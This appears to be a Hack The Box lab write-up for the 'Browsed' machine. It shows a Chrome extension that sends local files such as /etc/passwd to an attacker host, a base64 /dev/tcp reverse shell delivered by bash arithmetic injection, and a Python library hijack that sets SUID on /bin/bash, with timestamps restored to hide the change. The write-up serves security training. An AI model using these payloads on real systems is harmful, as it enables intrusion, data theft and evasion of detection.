HTB-Browsed


Pasted image 20260527233821.png700

Overview

Browsed is a medium-difficulty Linux machine centred around a web application that accepts Chrome browser extensions as ZIP uploads and executes them in a sandboxed Chrome instance. The attack chain begins with a malicious Chrome extension that exfiltrates local files, leading to the discovery of an internal Flask application vulnerable to arithmetic command injection. Privilege escalation abuses a writable Python utility library loaded by a sudo-permitted script, resulting in a SUID /bin/bash and full root access.


Reconnaissance

Port Scan

nmap -Pn -sC -sT -sV -O -A 10.129.2.200

The scan reveals two open ports:

Port Service Version
22 SSH OpenSSH 9.6p1 Ubuntu
80 HTTP nginx 1.24.0 (Ubuntu)

Pasted image 20260527170501.png700

The HTTP title is "Browsed" and the device is identified as a general-purpose router running Linux 4.15–5.19. A quick curl -I confirms nginx is serving standard HTML content.

Pasted image 20260527232317.png700


Foothold — Malicious Chrome Extension

Application Enumeration

Navigating to http://10.129.2.200 presents a page titled Browsed.htb with a single feature: an Upload Chrome Extension (.zip) form. The description states that "a developer will use it and reach back with some feedback" — a strong hint that a headless browser on the server side loads and executes whatever extension is uploaded.

Pasted image 20260527232331.png700

Crafting the Extension

A minimal Chrome Manifest V3 extension is crafted with full file and host permissions:

manifest.json

{
  "manifest_version": 3,
  "name": "Feedback Tool",
  "version": "1.0",
  "background": {
    "service_worker": "background.js"
  },
  "permissions": ["tabs", "scripting"],
  "host_permissions": ["file:///*", "http://*/", "https://*/"]
}

Pasted image 20260527232350.png700

background.js — Initial probe to confirm execution and read /etc/passwd:

// 1. Confirm execution
fetch('http://10.10.14.200:8000/executing');

// 2. Read /etc/passwd and exfiltrate
async function readFile() {
  try {
    const response = await fetch('file:///etc/passwd');
    const text = await response.text();
    fetch('http://10.10.14.200:8000/data?c=' + btoa(text));
  } catch (err) {
    fetch('http://10.10.14.200:8000/error?msg=' + btoa(err.message));
  }
}
readFile();

Pasted image 20260527232446.png700

A Python HTTP server (python3 -m http.server 8000) is started on the attacker machine to receive callbacks.

Pasted image 20260527232459.png700

Execution and File Exfiltration

Upon uploading the ZIP, the server-side Chrome instance loads the extension and immediately beacons back, confirming code execution. The base64-encoded /etc/passwd arrives in the server logs. Decoding it reveals two interesting users with shell access:

larry:x:1000:1000::/home/larry:/bin/bash
git:x:110:110:Git Version Control,,,:/home/git:/bin/bash

Pasted image 20260527232512.png700

Enumerating Internal File Paths

The extension is refined to iterate over a list of interesting paths — process status, environment variables, web application source, and SSH files — exfiltrating each one:

const files = [
  'file:///proc/self/status',
  'file:///proc/self/environ',
  'file:///var/www/html/index.php',
  'file:///var/www/html/upload.php',
  'file:///opt/browsed/index.php',
  'file:///home/git/index.php',
  'file:///home/git/.gitconfig',
  'file:///home/larry/.gitconfig',
  'file:///home/git/.ssh/known_hosts',
  'file:///home/larry/.ssh/known_hosts',
  'file:///home/larry/.ssh/authorized_keys',
];

files.forEach(path => {
  fetch(path)
    .then(r => r.text())
    .then(t => fetch('http://10.10.14.200:8000/data?f=' + btoa(path) + '&c=' + btoa(t)))
    .catch(e => fetch('http://10.10.14.200:8000/error?f=' + btoa(path) + '&msg=' + btoa(e.toString())));
});

The source of the upload handler (upload.php) is recovered. Key insight: Chrome is launched with the uploaded extension and browses to http://localhost/ and http://browsedinternals.htb — explaining the internal access the extension has.

Pasted image 20260527233227.png700


Internal Application — Flask Markdown Previewer

Source Code Analysis

Reviewing the exfiltrated application source (discovered running internally on port 5000 as a Flask app at /home/larry/markdownPreview/) reveals several routes:

Pasted image 20260527233257.png700

The routines handler passes user input directly as an argument to routines.sh:

@app.route('/routines/<rid>')
def routines(rid):
    subprocess.run(["./routines.sh", rid])
    return "Routine executed!"

The shell script uses an unquoted $1 inside an arithmetic comparison context [[ "$1" -eq 0 ]]. Bash's arithmetic evaluation is exploited through arithmetic injection: when $1 is not a plain integer, bash evaluates it as an expression — including command substitution.

Pasted image 20260527233338.png700

Reverse Shell via Arithmetic Injection

The payload uses $(...) inside the numeric comparison to execute arbitrary commands:

// background.js — Reverse shell
async function revshell() {
  const b64 = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMDAvNDQzIDA+JjE=";
  // Decodes to: bash -i >& /dev/tcp/10.10.14.200/443 0>&1

  const target = "http://127.0.0.1:5000/routines/";
  const payload = `a[$(echo "${b64}"|base64 -d|bash)]+42`;
  const finalUrl = target + encodeURIComponent(payload);

  fetch(finalUrl, { mode: "no-cors" }).catch(() => {});
}
revshell();

The extension is uploaded, a netcat listener is started (rlwrap nc -l -p 443 -s 10.10.14.200), and a shell is returned as larry.

User Flag

larry@browsed:~$ cat user.txt
[REDACTED]

Pasted image 20260527233356.png700


Privilege Escalation — Python Library Hijack

Sudo Enumeration

larry@browsed:~$ sudo -l

Output shows:

(root) NOPASSWD: /opt/extensiontool/extension_tool.py

Pasted image 20260527233426.png700

Larry can run /opt/extensiontool/extension_tool.py as root without a password. Listing the directory reveals:

/opt/extensiontool/
├── extensions/
├── extension_tool.py
├── extension_utils.py   ← imported by extension_tool.py
└── __pycache__/

Exploiting a Writable Import

extension_utils.py is imported by extension_tool.py and is writable by larry. The exploit injects a chmod payload into the module that makes /bin/bash SUID when the file is imported by the sudo-run script.

The injection targets the byte content of extension_utils.py directly, inserting the payload immediately after the validate_manifest function definition to avoid syntax errors. Timestamps are then restored to avoid detection, the .pyc cache is recompiled and copied to __pycache__, and the privileged script is triggered:

sudo /opt/extensiontool/extension_tool.py --ext Timer --zip test.zip

The injected import executes as root, setting /bin/bash SUID:

larry@browsed:~/.ssh$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

Pasted image 20260527233554.png700

Root Shell

/bin/bash -p
bash-5.2# python -c "import os; os.setuid(0); os.setgid(0); os.system('passwd root')"
New password: password123
Retype new password: password123
passwd: password updated successfully

bash-5.2# su -
Password: password123

root@browsed:~# cat root.txt
[REDACTED]

Pasted image 20260527233610.png700


Attack Chain Summary

[Recon] nmap → ports 22, 80
    ↓
[Web] Upload malicious Chrome extension (MV3)
    ↓
[File Read] Exfiltrate /etc/passwd, source code via file:// fetch
    ↓
[Internal App] Discover Flask app on localhost:5000
    ↓
[RCE] Arithmetic injection in /routines/<rid> → reverse shell as larry
    ↓
[PrivEsc] Writable extension_utils.py imported by sudo script
    ↓
[Root] SUID /bin/bash → root shell

Key Takeaways


Return1. Home